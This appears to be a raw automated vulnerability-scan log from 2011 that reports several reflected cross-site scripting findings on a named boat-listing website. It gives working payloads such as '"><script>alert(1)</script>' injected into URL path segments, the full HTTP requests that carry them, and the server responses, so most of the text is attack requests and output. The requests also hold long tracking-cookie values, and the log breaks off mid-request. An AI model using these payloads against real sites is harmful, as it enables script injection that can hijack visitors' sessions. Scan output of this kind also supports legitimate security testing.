s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:48 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e86da"><script>alert(1)</script>b315ff50f5a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Chris+Craft/1e86da"><script>alert(1)</script>b315ff50f5a HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:55 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17a4a"><script>alert(1)</script>6b7c846faf0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type17a4a"><script>alert(1)</script>6b7c846faf0/Chris-craft/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:42 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69ab4"><a>0fc5744d2ac was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Chris-craft69ab4"><a>0fc5744d2ac/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:45 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a932"><script>alert(1)</script>16033f1ffad was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Chris-craft/13a932"><script>alert(1)</script>16033f1ffad HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:00 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bed92"><a>17ba13e29c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/typebed92"><a>17ba13e29c/Cruisers/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:59 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff1c8"><a>b6a2c930dea was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Cruisersff1c8"><a>b6a2c930dea/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 